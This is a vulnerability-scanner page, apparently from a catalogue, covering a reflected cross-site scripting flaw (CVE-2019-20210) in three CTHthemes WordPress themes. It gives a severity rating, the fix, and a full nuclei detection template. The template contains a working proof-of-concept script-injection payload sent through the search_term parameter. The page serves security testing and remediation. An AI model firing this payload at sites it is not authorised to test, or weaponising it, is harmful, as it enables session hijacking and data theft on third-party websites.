WordPress CTHthemes - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.

Impact

Successful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system.

Fix

Update to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&d…
Positive when: contains "</script><script>alert(document.domain)</script>" and "/wp-content/themes/citybook" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-20210 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-20210

info:
  name: WordPress CTHthemes - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.
  impact: |
    Successful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system.
  remediation: |
    Update to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10013
    - https://wpvulndb.com/vulnerabilities/10018
    - https://cxsecurity.com/issue/WLB-2019120112
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20210
    - https://themeforest.net/item/citybook-directory-listing-wordpress-theme/21694727
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20210
    cwe-id: CWE-79
    epss-score: 0.03243
    epss-percentile: 0.88409
    cpe: cpe:2.3:a:cththemes:citybook:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: cththemes
    product: citybook
    framework: wordpress
  tags: cve,cve2019,wp-theme,wpscan,wordpress,citybook,xss,cththemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "/wp-content/themes/citybook"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from